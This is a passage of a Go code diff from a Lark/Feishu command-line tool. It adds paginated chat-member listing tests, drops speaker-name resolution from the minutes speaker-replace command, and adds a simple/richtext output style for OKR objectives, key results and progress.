+		{[]string{"user", "bot"}, "user,bot", false},
+		{[]string{"USER", "user"}, "user", false}, // lowercased + deduped
+		{[]string{"admin"}, "", true},
+		{[]string{""}, "", true},
+	}
+	for _, c := range cases {
+		got, err := normalizeMemberTypes(c.in)
+		if c.wantErr {
+			assertValidationError(t, fmt.Sprintf("normalizeMemberTypes(%v)", c.in), err, "--member-types")
+			continue
+		}
+		if err != nil {
+			t.Errorf("normalizeMemberTypes(%v): unexpected error %v", c.in, err)
+		}
+		if got != c.want {
+			t.Errorf("normalizeMemberTypes(%v) = %q, want %q", c.in, got, c.want)
+		}
+	}
+}
+
+// TestEffectiveChatMembersPageSize covers the --page-all max-page-size behavior:
+// drain with no explicit size → max; explicit size → honored; single page → default.
+func TestEffectiveChatMembersPageSize(t *testing.T) {
+	noop := shortcutRoundTripFunc(func(req *http.Request) (*http.Response, error) {
+		return shortcutJSONResponse(200, map[string]interface{}{"code": 0, "data": cmlPage(nil, nil, nil, false, "")}), nil
+	})
+	cases := []struct {
+		name string
+		b    map[string]bool
+		ints map[string]int
+		want int
+	}{
+		{"page-all, size unset -> max", map[string]bool{"page-all": true}, nil, chatMembersListMaxPageSize},
+		{"page-all, size explicit -> honored", map[string]bool{"page-all": true}, map[string]int{"page-size": 15}, 15},
+		{"single page, size unset -> default", nil, nil, chatMembersListDefaultPageSize},
+	}
+	for _, c := range cases {
+		rt := newChatMembersTestRuntime(t, noop, map[string]string{"chat-id": "oc_x"}, c.b, c.ints)
+		if got := effectiveChatMembersPageSize(rt); got != c.want {
+			t.Errorf("%s: want %d, got %d", c.name, c.want, got)
+		}
+	}
+}
+
+// newChatMembersTestRuntime registers the shortcut's flags and returns a
+// user-identity runtime wired to the given RoundTripper for multi-page mocking.
+func newChatMembersTestRuntime(t *testing.T, rt http.RoundTripper, str map[string]string, b map[string]bool, ints map[string]int) *common.RuntimeContext {
+	t.Helper()
+	runtime := newUserShortcutRuntime(t, rt)
+	cmd := &cobra.Command{Use: "test"}
+	cmd.Flags().String("chat-id", "", "")
+	cmd.Flags().String("member-id-type", "open_id", "")
+	cmd.Flags().StringSlice("member-types", nil, "")
+	cmd.Flags().String("page-token", "", "")
+	cmd.Flags().Bool("page-all", false, "")
+	cmd.Flags().Int("page-size", 20, "")
+	cmd.Flags().Int("page-limit", 10, "")
+	cmd.Flags().Int("page-delay", 200, "")
+	if err := cmd.ParseFlags(nil); err != nil {
+		t.Fatalf("ParseFlags: %v", err)
+	}
+	for k, v := range str {
+		if err := cmd.Flags().Set(k, v); err != nil {
+			t.Fatalf("set %s: %v", k, err)
+		}
+	}
+	for k, v := range b {
+		if err := cmd.Flags().Set(k, strconv.FormatBool(v)); err != nil {
+			t.Fatalf("set %s: %v", k, err)
+		}
+	}
+	for k, v := range ints {
+		if err := cmd.Flags().Set(k, strconv.Itoa(v)); err != nil {
+			t.Fatalf("set %s: %v", k, err)
+		}
+	}
+	runtime.Cmd = cmd
+	return runtime
+}
+
+// TestFetchChatMembers_PageAllMergesBucketsAndTruncations exercises the full
+// fetch loop over mocked pages: users/bots merge across pages and the final
+// page's truncations[] survives.
+func TestFetchChatMembers_PageAllMergesBucketsAndTruncations(t *testing.T) {
+	calls := 0
+	rt := shortcutRoundTripFunc(func(req *http.Request) (*http.Response, error) {
+		if !strings.Contains(req.URL.Path, "/open-apis/im/v1/chats/oc_test/members/list") {
+			return shortcutJSONResponse(404, map[string]interface{}{"code": 1}), nil
+		}
+		calls++
+		token := req.URL.Query().Get("page_token")
+		if token == "" {
+			return shortcutJSONResponse(200, map[string]interface{}{
+				"code": 0,
+				"data": cmlPage(us("u1", "u2"), us("b1"), []interface{}{}, true, "p2"),
+			}), nil
+		}
+		return shortcutJSONResponse(200, map[string]interface{}{
+			"code": 0,
+			"data": cmlPage(us("u3"), us("b2"), []interface{}{map[string]interface{}{"limit": 100, "member_type": "user"}}, false, ""),
+		}), nil
+	})
+	runtime := newChatMembersTestRuntime(t, rt,
+		map[string]string{"chat-id": "oc_test"},
+		map[string]bool{"page-all": true},
+		map[string]int{"page-size": 2, "page-limit": 0, "page-delay": 0})
+
+	res, err := fetchChatMembers(context.Background(), runtime, "oc_test")
+	if err != nil {
+		t.Fatalf("fetchChatMembers: %v", err)
+	}
+	if calls != 2 {
+		t.Errorf("want 2 page calls, got %d", calls)
+	}
+	if len(res.users) != 3 {
+		t.Errorf("users: want 3, got %d", len(res.users))
+	}
+	if len(res.bots) != 2 {
+		t.Errorf("bots: want 2, got %d", len(res.bots))
+	}
+	if len(res.truncations) != 1 {
+		t.Errorf("truncations: want 1 from last page, got %d", len(res.truncations))
+	}
+	if res.hasMore {
+		t.Error("has_more: want false after draining all pages")
+	}
+}
+
+// TestFetchChatMembers_PageLimitStops verifies --page-limit caps the loop and
+// leaves has_more=true so the caller knows the result is incomplete.
+func TestFetchChatMembers_PageLimitStops(t *testing.T) {
+	seq := 0
+	rt := shortcutRoundTripFunc(func(req *http.Request) (*http.Response, error) {
+		// Every page reports more pages available, with an advancing token so the
+		// loop is stopped by --page-limit, not the non-advancing-token guard.
+		seq++
+		return shortcutJSONResponse(200, map[string]interface{}{
+			"code": 0,
+			"data": cmlPage(us("u"), nil, nil, true, fmt.Sprintf("p%d", seq)),
+		}), nil
+	})
+	runtime := newChatMembersTestRuntime(t, rt,
+		map[string]string{"chat-id": "oc_test"},
+		map[string]bool{"page-all": true},
+		map[string]int{"page-size": 1, "page-limit": 3, "page-delay": 0})
+
+	res, err := fetchChatMembers(context.Background(), runtime, "oc_test")
+	if err != nil {
+		t.Fatalf("fetchChatMembers: %v", err)
+	}
+	if len(res.users) != 3 {
+		t.Errorf("users: want 3 (capped at page-limit), got %d", len(res.users))
+	}
+	if !res.hasMore {
+		t.Error("has_more: want true (loop cut short by page-limit)")
+	}
+	errOut := runtime.IO().ErrOut.(*bytes.Buffer)
+	if !strings.Contains(errOut.String(), "reached page limit (3)") {
+		t.Errorf("want page-limit notice on stderr, got: %s", errOut.String())
+	}
+}

shortcuts/im/shortcuts.go

@@ -10,6 +10,7 @@ func Shortcuts() []common.Shortcut {
 	return []common.Shortcut{
 		ImChatCreate,
 		ImChatList,
+		ImChatMembersList,
 		ImChatMessageList,
 		ImChatSearch,
 		ImChatUpdate,

shortcuts/minutes/minutes_speaker_replace.go

@@ -66,31 +66,24 @@ var MinutesSpeakerReplace = common.Shortcut{
 	},
 	DryRun: func(ctx context.Context, runtime *common.RuntimeContext) *common.DryRunAPI {
 		minuteToken := strings.TrimSpace(runtime.Str("minute-token"))
-		dr := common.NewDryRunAPI()
-		if strings.TrimSpace(runtime.Str("from-speaker-id")) != "" && strings.TrimSpace(runtime.Str("from-user-id")) == "" {
-			dr.GET(minuteTranscriptSpeakerlistPath(minuteToken)).Desc("Resolve --from-speaker-id when it is a display name")
-		}
-		return dr.PUT(fmt.Sprintf("/open-apis/minutes/v1/minutes/%s/transcript/speaker", validate.EncodePathSegment(minuteToken))).
+		return common.NewDryRunAPI().
+			PUT(fmt.Sprintf("/open-apis/minutes/v1/minutes/%s/transcript/speaker", validate.EncodePathSegment(minuteToken))).
 			Body(buildSpeakerReplaceRequestBody(runtime))
 	},
 	Execute: func(ctx context.Context, runtime *common.RuntimeContext) error {
 		minuteToken := strings.TrimSpace(runtime.Str("minute-token"))
-		fromSpeakerInput := strings.TrimSpace(runtime.Str("from-speaker-id"))
+		fromSpeakerID := strings.TrimSpace(runtime.Str("from-speaker-id"))
+		fromUserID := strings.TrimSpace(runtime.Str("from-user-id"))
 		toUserID := strings.TrimSpace(runtime.Str("to-user-id"))
 
-		fromSpeakerID, fromUserID, err := resolveSpeakerReplaceFrom(runtime, minuteToken)
-		if err != nil {
-			return err
-		}
-
-		_, err = runtime.CallAPITyped(http.MethodPut,
+		_, err := runtime.CallAPITyped(http.MethodPut,
 			fmt.Sprintf("/open-apis/minutes/v1/minutes/%s/transcript/speaker", validate.EncodePathSegment(minuteToken)),
 			map[string]interface{}{"user_id_type": "open_id"}, buildSpeakerReplaceRequestBodyResolved(fromSpeakerID, fromUserID, toUserID))
 		if err != nil {
-			return minutesSpeakerReplaceError(err, minuteToken, speakerReplaceSourceLabel(fromSpeakerInput, fromSpeakerID, fromUserID))
+			return minutesSpeakerReplaceError(err, minuteToken, speakerReplaceSourceLabel(fromSpeakerID, fromUserID))
 		}
 
-		runtime.OutFormat(buildSpeakerReplaceOutputData(fromSpeakerInput, minuteToken, fromSpeakerID, fromUserID, toUserID), nil, nil)
+		runtime.OutFormat(buildSpeakerReplaceOutputData(minuteToken, fromSpeakerID, fromUserID, toUserID), nil, nil)
 		return nil
 	},
 }
@@ -114,26 +107,20 @@ func buildSpeakerReplaceRequestBodyResolved(fromSpeakerID, fromUserID, toUserID
 	return body
 }
 
-func buildSpeakerReplaceOutputData(fromSpeakerInput, minuteToken, fromSpeakerID, fromUserID, toUserID string) map[string]interface{} {
+func buildSpeakerReplaceOutputData(minuteToken, fromSpeakerID, fromUserID, toUserID string) map[string]interface{} {
 	out := map[string]interface{}{
 		"minute_token": minuteToken,
 		"to_user_id":   toUserID,
 	}
 	if fromSpeakerID != "" {
 		out["from_speaker_id"] = fromSpeakerID
-		if fromSpeakerInput != "" && fromSpeakerInput != fromSpeakerID {
-			out["from_speaker_input"] = fromSpeakerInput
-		}
 	} else {
 		out["from_user_id"] = fromUserID
 	}
 	return out
 }
 
-func speakerReplaceSourceLabel(fromSpeakerInput, fromSpeakerID, fromUserID string) string {
-	if fromSpeakerInput != "" {
-		return fromSpeakerInput
-	}
+func speakerReplaceSourceLabel(fromSpeakerID, fromUserID string) string {
 	if fromSpeakerID != "" {
 		return fromSpeakerID
 	}

shortcuts/minutes/minutes_speaker_replace_test.go

@@ -153,58 +153,14 @@ func TestMinutesSpeakerReplace_DryRun(t *testing.T) {
 	}
 }
 
-func TestMinutesSpeakerReplace_DryRun_ResolveFromSpeakerID(t *testing.T) {
-	t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
-	f, stdout, _, _ := cmdutil.TestFactory(t, defaultConfig())
-	warmTokenCache(t)
-
-	err := mountAndRun(t, MinutesSpeakerReplace, []string{
-		"+speaker-replace",
-		"--minute-token", minutesSpeakerReplaceTestToken,
-		"--from-speaker-id", "说话人1",
-		"--to-user-id", "ou_new_speaker",
-		"--dry-run", "--as", "user",
-	}, f, stdout)
-	if err != nil {
-		t.Fatalf("unexpected error: %v", err)
-	}
-
-	out := stdout.String()
-	if !strings.Contains(out, "GET") {
-		t.Errorf("expected GET for internal speaker list, got:\n%s", out)
-	}
-	if !strings.Contains(out, "/transcript/speakerlist") {
-		t.Errorf("expected speakerlist path, got:\n%s", out)
-	}
-	if !strings.Contains(out, "PUT") {
-		t.Errorf("expected PUT for speaker replace, got:\n%s", out)
-	}
-	if !strings.Contains(out, "ou_new_speaker") {
-		t.Errorf("expected to_user_id in body, got:\n%s", out)
-	}
-}
-
-func TestMinutesSpeakerReplace_Execute_ResolveFromSpeakerID(t *testing.T) {
+func TestMinutesSpeakerReplace_Execute_OpaqueSpeakerIDNoPrefetch(t *testing.T) {
 	t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
 	f, stdout, _, reg := cmdutil.TestFactory(t, defaultConfig())
 	warmTokenCache(t)
 
-	reg.Register(&httpmock.Stub{
-		Method: http.MethodGet,
-		URL:    "/open-apis/minutes/v1/minutes/" + minutesSpeakerReplaceTestToken + "/transcript/speakerlist",
-		Body: map[string]interface{}{
-			"code": 0,
-			"msg":  "ok",
-			"data": map[string]interface{}{
-				"speakers": []interface{}{
-					map[string]interface{}{
-						"speaker_id": "ENCRYPTED_TOKEN_ABC",
-						"name":       "说话人1",
-					},
-				},
-			},
-		},
-	})
+	// Only the PUT is registered on purpose: an opaque speaker_id must be passed
+	// straight through without a second speakerlist call. If the code still
+	// prefetched speakerlist, the unregistered GET would fail the request.
 	reg.Register(&httpmock.Stub{
 		Method: http.MethodPut,
 		URL:    "/open-apis/minutes/v1/minutes/" + minutesSpeakerReplaceTestToken + "/transcript/speaker",
@@ -218,7 +174,7 @@ func TestMinutesSpeakerReplace_Execute_ResolveFromSpeakerID(t *testing.T) {
 	err := mountAndRun(t, MinutesSpeakerReplace, []string{
 		"+speaker-replace",
 		"--minute-token", minutesSpeakerReplaceTestToken,
-		"--from-speaker-id", "说话人1",
+		"--from-speaker-id", "ENCRYPTED_TOKEN_ABC",
 		"--to-user-id", "ou_new_speaker",
 		"--format", "json", "--as", "user",
 	}, f, stdout)
@@ -228,21 +184,19 @@ func TestMinutesSpeakerReplace_Execute_ResolveFromSpeakerID(t *testing.T) {
 
 	var envelope struct {
 		Data struct {
-			MinuteToken      string `json:"minute_token"`
-			FromSpeakerInput string `json:"from_speaker_input"`
-			FromSpeakerID    string `json:"from_speaker_id"`
-			ToUserID         string `json:"to_user_id"`
+			FromSpeakerID string `json:"from_speaker_id"`
+			ToUserID      string `json:"to_user_id"`
 		} `json:"data"`
 	}
 	if err := json.Unmarshal(stdout.Bytes(), &envelope); err != nil {
 		t.Fatalf("unmarshal stdout: %v", err)
 	}
-	if envelope.Data.FromSpeakerInput != "说话人1" {
-		t.Errorf("data.from_speaker_input = %q, want 说话人1", envelope.Data.FromSpeakerInput)
-	}
 	if envelope.Data.FromSpeakerID != "ENCRYPTED_TOKEN_ABC" {
 		t.Errorf("data.from_speaker_id = %q, want ENCRYPTED_TOKEN_ABC", envelope.Data.FromSpeakerID)
 	}
+	if envelope.Data.ToUserID != "ou_new_speaker" {
+		t.Errorf("data.to_user_id = %q, want ou_new_speaker", envelope.Data.ToUserID)
+	}
 }
 
 func TestMinutesSpeakerReplace_DryRun_FromSpeakerID(t *testing.T) {
@@ -262,8 +216,11 @@ func TestMinutesSpeakerReplace_DryRun_FromSpeakerID(t *testing.T) {
 	}
 
 	out := stdout.String()
-	if !strings.Contains(out, "GET") {
-		t.Errorf("expected GET for internal speaker list, got:\n%s", out)
+	if strings.Contains(out, "/transcript/speakerlist") {
+		t.Errorf("opaque speaker_id should not prefetch speakerlist, got:\n%s", out)
+	}
+	if !strings.Contains(out, "PUT") {
+		t.Errorf("expected PUT for speaker replace, got:\n%s", out)
 	}
 	if !strings.Contains(out, "from_speaker_id") || !strings.Contains(out, "ENCRYPTED_TOKEN_ABC") {
 		t.Errorf("expected from_speaker_id in body, got:\n%s", out)

shortcuts/minutes/minutes_speakers.go

@@ -1,104 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package minutes
-
-import (
-	"fmt"
-	"net/http"
-	"strings"
-
-	"github.com/larksuite/cli/errs"
-	"github.com/larksuite/cli/internal/validate"
-	"github.com/larksuite/cli/shortcuts/common"
-)
-
-type minuteSpeaker struct {
-	SpeakerID string
-	Name      string
-}
-
-func minuteTranscriptSpeakerlistPath(minuteToken string) string {
-	return fmt.Sprintf("/open-apis/minutes/v1/minutes/%s/transcript/speakerlist", validate.EncodePathSegment(minuteToken))
-}
-
-func fetchMinuteSpeakers(runtime *common.RuntimeContext, minuteToken string) ([]minuteSpeaker, error) {
-	data, err := runtime.CallAPITyped(http.MethodGet, minuteTranscriptSpeakerlistPath(minuteToken), nil, nil)
-	if err != nil {
-		return nil, err
-	}
-	if data == nil {
-		return nil, nil
-	}
-
-	items := common.GetSlice(data, "speakers")
-	speakers := make([]minuteSpeaker, 0, len(items))
-	for _, raw := range items {
-		item, _ := raw.(map[string]interface{})
-		if item == nil {
-			continue
-		}
-		id := strings.TrimSpace(common.GetString(item, "speaker_id"))
-		name := strings.TrimSpace(common.GetString(item, "name"))
-		if id == "" {
-			continue
-		}
-		speakers = append(speakers, minuteSpeaker{SpeakerID: id, Name: name})
-	}
-	return speakers, nil
-}
-
-func resolveSpeakerIDByName(speakers []minuteSpeaker, name string) (string, error) {
-	name = strings.TrimSpace(name)
-	var matches []minuteSpeaker
-	for _, s := range speakers {
-		if s.Name == name {
-			matches = append(matches, s)
-		}
-	}
-	switch len(matches) {
-	case 0:
-		return "", errs.NewValidationError(errs.SubtypeNotFound,
-			"no speaker named %q in minute transcript", name).
-			WithParam("--from-speaker-id").
-			WithHint("Check the speaker name spelling or open the minute to see transcript speaker labels")
-	case 1:
-		return matches[0].SpeakerID, nil
-	default:
-		ids := make([]string, len(matches))
-		for i, m := range matches {
-			ids[i] = m.SpeakerID
-		}
-		return "", errs.NewValidationError(errs.SubtypeFailedPrecondition,
-			"multiple speakers named %q (%d matches); pass the exact --from-speaker-id", name, len(matches)).
-			WithParam("--from-speaker-id").
-			WithHint(fmt.Sprintf("Matching speaker_ids: %s. Review each speaker's utterances in the minute, then retry with the exact speaker_id", strings.Join(ids, ", ")))
-	}
-}
-
-// resolveFromSpeakerID resolves --from-speaker-id to an API speaker_id.
-// The input may already be an opaque speaker_id, or a display name that requires
-// an internal speaker-list fetch.
-func resolveFromSpeakerID(runtime *common.RuntimeContext, minuteToken, input string) (string, error) {
-	input = strings.TrimSpace(input)
-	speakers, err := fetchMinuteSpeakers(runtime, minuteToken)
-	if err != nil {
-		return "", err
-	}
-	for _, s := range speakers {
-		if s.SpeakerID == input {
-			return input, nil
-		}
-	}
-	return resolveSpeakerIDByName(speakers, input)
-}
-
-func resolveSpeakerReplaceFrom(runtime *common.RuntimeContext, minuteToken string) (fromSpeakerID, fromUserID string, err error) {
-	fromUserID = strings.TrimSpace(runtime.Str("from-user-id"))
-	if fromUserID != "" {
-		return "", fromUserID, nil
-	}
-
-	fromSpeakerID, err = resolveFromSpeakerID(runtime, minuteToken, runtime.Str("from-speaker-id"))
-	return fromSpeakerID, "", err
-}

shortcuts/minutes/minutes_speakers_test.go

@@ -1,45 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package minutes
-
-import (
-	"errors"
-	"strings"
-	"testing"
-
-	"github.com/larksuite/cli/errs"
-)
-
-func TestResolveSpeakerIDByName(t *testing.T) {
-	speakers := []minuteSpeaker{
-		{SpeakerID: "id_a", Name: "Alice"},
-		{SpeakerID: "id_b", Name: "Bob"},
-		{SpeakerID: "id_c", Name: "Alice"},
-	}
-
-	id, err := resolveSpeakerIDByName(speakers, "Bob")
-	if err != nil || id != "id_b" {
-		t.Fatalf("resolve Bob: id=%q err=%v", id, err)
-	}
-
-	_, err = resolveSpeakerIDByName(speakers, "Carol")
-	if err == nil {
-		t.Fatal("expected not found error")
-	}
-	var ve *errs.ValidationError
-	if !errors.As(err, &ve) || ve.Subtype != errs.SubtypeNotFound {
-		t.Fatalf("want not-found validation error, got %T: %v", err, err)
-	}
-
-	_, err = resolveSpeakerIDByName(speakers, "Alice")
-	if err == nil {
-		t.Fatal("expected duplicate name error")
-	}
-	if !errors.As(err, &ve) || ve.Subtype != errs.SubtypeFailedPrecondition {
-		t.Fatalf("want failed-precondition validation error, got %T: %v", err, err)
-	}
-	if !strings.Contains(ve.Hint, "id_a") || !strings.Contains(ve.Hint, "id_c") {
-		t.Errorf("hint should list matching speaker_ids, got: %s", ve.Hint)
-	}
-}

shortcuts/okr/okr_batch_create.go

@@ -58,45 +58,9 @@ func parseBatchCreateInput(input string) ([]batchCreateObjective, error) {
 	return objectives, nil
 }
 
-// buildContentBlock converts text and mentions to a ContentBlock.
-func buildContentBlock(text string, mentions []string) *ContentBlock {
-	elements := make([]ContentParagraphElement, 0, len(mentions)+1)
-
-	// Add text element
-	textElem := ContentParagraphElement{
-		ParagraphElementType: ParagraphElementTypeTextRun.Ptr(),
-		TextRun: &ContentTextRun{
-			Text: &text,
-		},
-	}
-	elements = append(elements, textElem)
-
-	// Add mention elements
-	for _, mention := range mentions {
-		mentionElem := ContentParagraphElement{
-			ParagraphElementType: ParagraphElementTypeMention.Ptr(),
-			Mention: &ContentMention{
-				UserID: &mention,
-			},
-		}
-		elements = append(elements, mentionElem)
-	}
-
-	return &ContentBlock{
-		Blocks: []ContentBlockElement{
-			{
-				BlockElementType: BlockElementTypeParagraph.Ptr(),
-				Paragraph: &ContentParagraph{
-					Elements: elements,
-				},
-			},
-		},
-	}
-}
-
 // createObjective calls the API to create an objective.
 func createObjective(ctx context.Context, runtime *common.RuntimeContext, cycleID, userIDType string, obj batchCreateObjective) (string, error) {
-	content := buildContentBlock(obj.Text, obj.Mention)
+	content := BuildContentBlock(obj.Text, obj.Mention)
 	body := map[string]interface{}{
 		"content": content,
 	}
@@ -120,7 +84,7 @@ func createObjective(ctx context.Context, runtime *common.RuntimeContext, cycleI
 
 // createKR calls the API to create a key result.
 func createKR(ctx context.Context, runtime *common.RuntimeContext, objectiveID, userIDType string, kr batchCreateKR) (string, error) {
-	content := buildContentBlock(kr.Text, kr.Mention)
+	content := BuildContentBlock(kr.Text, kr.Mention)
 	body := map[string]interface{}{
 		"content": content,
 	}
@@ -224,7 +188,7 @@ var OKRBatchCreate = common.Shortcut{
 
 		for i, obj := range objectives {
 			// Objective creation
-			objContent := buildContentBlock(obj.Text, obj.Mention)
+			objContent := BuildContentBlock(obj.Text, obj.Mention)
 			objBody := map[string]interface{}{
 				"content": objContent,
 			}
@@ -241,7 +205,7 @@ var OKRBatchCreate = common.Shortcut{
 
 			// KR creations
 			for j, kr := range obj.KRs {
-				krContent := buildContentBlock(kr.Text, kr.Mention)
+				krContent := BuildContentBlock(kr.Text, kr.Mention)
 				krBody := map[string]interface{}{
 					"content": krContent,
 				}

shortcuts/okr/okr_batch_create_test.go

@@ -557,7 +557,7 @@ func TestParseBatchCreateInput_Valid(t *testing.T) {
 
 func TestBuildContentBlock(t *testing.T) {
 	t.Parallel()
-	cb := buildContentBlock("Test text", []string{"ou_123", "ou_456"})
+	cb := BuildContentBlock("Test text", []string{"ou_123", "ou_456"})
 	if cb == nil {
 		t.Fatal("expected non-nil ContentBlock")
 	}

shortcuts/okr/okr_cli_resp.go

@@ -29,15 +29,10 @@ type RespCategory struct {
 
 // RespCycle 周期
 type RespCycle struct {
-	ID            string    `json:"id"`
-	CreateTime    string    `json:"create_time"`
-	UpdateTime    string    `json:"update_time"`
-	TenantCycleID string    `json:"tenant_cycle_id"`
-	Owner         RespOwner `json:"owner"`
-	StartTime     string    `json:"start_time"`
-	EndTime       string    `json:"end_time"`
-	CycleStatus   *string   `json:"cycle_status,omitempty"`
-	Score         *float64  `json:"score,omitempty"`
+	ID          string  `json:"id"`
+	StartTime   string  `json:"start_time"`
+	EndTime     string  `json:"end_time"`
+	CycleStatus *string `json:"cycle_status,omitempty"`
 }
 
 // RespIndicator 指标
@@ -152,3 +147,145 @@ type RespProgress struct {
 	Content      *string           `json:"content,omitempty"`
 	ProgressRate *RespProgressRate `json:"progress_rate,omitempty"`
 }
+
+// ========== Simple-style response types (semi-plain text format) ==========
+
+// RespKeyResultSimple is KeyResult response with SemiPlainContent instead of ContentBlock JSON string.
+type RespKeyResultSimple struct {
+	ID          string            `json:"id"`
+	CreateTime  string            `json:"create_time"`
+	UpdateTime  string            `json:"update_time"`
+	Owner       RespOwner         `json:"owner"`
+	ObjectiveID string            `json:"objective_id"`
+	Position    *int32            `json:"position,omitempty"`
+	Content     *SemiPlainContent `json:"content,omitempty"`
+	Score       *float64          `json:"score,omitempty"`
+	Weight      *float64          `json:"weight,omitempty"`
+	Deadline    *string           `json:"deadline,omitempty"`
+}
+
+// RespObjectiveSimple is Objective response with SemiPlainContent instead of ContentBlock JSON string.
+type RespObjectiveSimple struct {
+	ID         string                `json:"id"`
+	CreateTime string                `json:"create_time"`
+	UpdateTime string                `json:"update_time"`
+	Owner      RespOwner             `json:"owner"`
+	CycleID    string                `json:"cycle_id"`
+	Position   *int32                `json:"position,omitempty"`
+	Content    *SemiPlainContent     `json:"content,omitempty"`
+	Score      *float64              `json:"score,omitempty"`
+	Notes      *SemiPlainContent     `json:"notes,omitempty"`
+	Weight     *float64              `json:"weight,omitempty"`
+	Deadline   *string               `json:"deadline,omitempty"`
+	CategoryID *string               `json:"category_id,omitempty"`
+	KeyResults []RespKeyResultSimple `json:"key_results,omitempty"`
+}
+
+// RespProgressSimple is Progress response with SemiPlainContent instead of ContentBlock JSON string.
+type RespProgressSimple struct {
+	ID           string            `json:"progress_id"`
+	ModifyTime   string            `json:"modify_time"`
+	CreateTime   *string           `json:"create_time,omitempty"`
+	Content      *SemiPlainContent `json:"content,omitempty"`
+	ProgressRate *RespProgressRate `json:"progress_rate,omitempty"`
+}
+
+// ToSimple converts KeyResult to RespKeyResultSimple.
+func (k *KeyResult) ToSimple() *RespKeyResultSimple {
+	if k == nil {
+		return nil
+	}
+	result := &RespKeyResultSimple{
+		ID:          k.ID,
+		CreateTime:  formatTimestamp(k.CreateTime),
+		UpdateTime:  formatTimestamp(k.UpdateTime),
+		Owner:       *k.Owner.ToResp(),
+		ObjectiveID: k.ObjectiveID,
+		Position:    k.Position,
+		Score:       k.Score,
+		Weight:      k.Weight,
+	}
+	if k.Deadline != nil {
+		d := formatTimestamp(*k.Deadline)
+		result.Deadline = &d
+	}
+	result.Content = k.Content.ToSemiPlain()
+	return result
+}
+
+// ToSimple converts Objective to RespObjectiveSimple.
+func (o *Objective) ToSimple() *RespObjectiveSimple {
+	if o == nil {
+		return nil
+	}
+	result := &RespObjectiveSimple{
+		ID:         o.ID,
+		CreateTime: formatTimestamp(o.CreateTime),
+		UpdateTime: formatTimestamp(o.UpdateTime),
+		Owner:      *o.Owner.ToResp(),
+		CycleID:    o.CycleID,
+		Position:   o.Position,
+		Score:      o.Score,
+		Weight:     o.Weight,
+		CategoryID: o.CategoryID,
+	}
+	if o.Deadline != nil {
+		d := formatTimestamp(*o.Deadline)
+		result.Deadline = &d
+	}
+	result.Content = o.Content.ToSemiPlain()
+	result.Notes = o.Notes.ToSemiPlain()
+	return result
+}
+
+// ToSimple converts ProgressV1 to RespProgressSimple.
+func (p *ProgressV1) ToSimple() *RespProgressSimple {
+	if p == nil {
+		return nil
+	}
+	resp := &RespProgressSimple{
+		ID:         p.ID,
+		ModifyTime: formatTimestamp(p.ModifyTime),
+	}
+	if p.ProgressRate != nil {
+		resp.ProgressRate = &RespProgressRate{
+			Percent: p.ProgressRate.Percent,
+		}
+		if p.ProgressRate.Status != nil {
+			s := ProgressStatus(*p.ProgressRate.Status).String()
+			if s != "" {
+				resp.ProgressRate.Status = &s
+			}
+		}
+	}
+	if p.Content != nil {
+		resp.Content = p.Content.ToV2().ToSemiPlain()
+	}
+	return resp
+}
+
+// ToSimple converts Progress to RespProgressSimple.
+func (p *Progress) ToSimple() *RespProgressSimple {
+	if p == nil {
+		return nil
+	}
+	createTime := formatTimestamp(p.CreateTime)
+	resp := &RespProgressSimple{
+		ID:         p.ID,
+		ModifyTime: formatTimestamp(p.UpdateTime),
+		CreateTime: &createTime,
+	}
+	if p.ProgressRate != nil {
+		resp.ProgressRate = &RespProgressRate{
+			Percent: p.ProgressRate.ProgressPercent,
+		}
+		if p.ProgressRate.ProgressStatus != nil {
+			s := ProgressStatus(*p.ProgressRate.ProgressStatus).String()
+			if s != "" {
+				resp.ProgressRate.Status = &s
+			}
+		}
+	}
+	resp.Content = p.Content.ToSemiPlain()
+	return resp
+}

shortcuts/okr/okr_cycle_detail.go

@@ -26,6 +26,7 @@ var OKRCycleDetail = common.Shortcut{
 	HasFormat:   true,
 	Flags: []common.Flag{
 		{Name: "cycle-id", Desc: "OKR cycle id (int64)", Required: true},
+		{Name: "style", Default: "simple", Desc: "output style: simple (semi-plain text JSON) | richtext (ContentBlock JSON)", Enum: []string{"simple", "richtext"}},
 	},
 	Validate: func(ctx context.Context, runtime *common.RuntimeContext) error {
 		cycleID := runtime.Str("cycle-id")
@@ -35,6 +36,10 @@ var OKRCycleDetail = common.Shortcut{
 		if id, err := strconv.ParseInt(cycleID, 10, 64); err != nil || id <= 0 {
 			return errs.NewValidationError(errs.SubtypeInvalidArgument, "--cycle-id must be a positive int64").WithParam("--cycle-id")
 		}
+		style := runtime.Str("style")
+		if style != "simple" && style != "richtext" {
+			return errs.NewValidationError(errs.SubtypeInvalidArgument, "--style must be one of: simple | richtext").WithParam("--style")
+		}
 		return nil
 	},
 	DryRun: func(ctx context.Context, runtime *common.RuntimeContext) *common.DryRunAPI {
@@ -50,6 +55,7 @@ var OKRCycleDetail = common.Shortcut{
 	},
 	Execute: func(ctx context.Context, runtime *common.RuntimeContext) error {
 		cycleID := runtime.Str("cycle-id")
+		style := runtime.Str("style")
 
 		// Paginate objectives under the cycle.
 		queryParams := map[string]interface{}{"page_size": "100"}
@@ -96,85 +102,106 @@ var OKRCycleDetail = common.Shortcut{
 		}
 
 		// For each objective, paginate key results and convert to response format.
-		respObjectives := make([]*RespObjective, 0, len(objectives))
-		for i := range objectives {
-			if err := ctx.Err(); err != nil {
-				return err
-			}
-			obj := &objectives[i]
-
-			krQuery := map[string]interface{}{"page_size": "100"}
-
-			var keyResults []KeyResult
-			krPage := 0
-			for {
+		if style == "simple" {
+			respObjectives := make([]*RespObjectiveSimple, 0, len(objectives))
+			for i := range objectives {
 				if err := ctx.Err(); err != nil {
 					return err
 				}
-				if krPage > 0 {
-					select {
-					case <-ctx.Done():
-						return ctx.Err()
-					case <-time.After(500 * time.Millisecond):
-					}
-				}
-				krPage++
+				obj := &objectives[i]
 
-				path := fmt.Sprintf("/open-apis/okr/v2/objectives/%s/key_results", obj.ID)
-				data, err := runtime.CallAPITyped("GET", path, krQuery, nil)
+				keyResults, err := fetchKeyResults(ctx, runtime, obj.ID)
 				if err != nil {
 					return err
 				}
 
-				itemsRaw, _ := data["items"].([]interface{})
-				for _, item := range itemsRaw {
-					raw, err := json.Marshal(item)
-					if err != nil {
-						continue
+				respObj := obj.ToSimple()
+				if respObj == nil {
+					continue
+				}
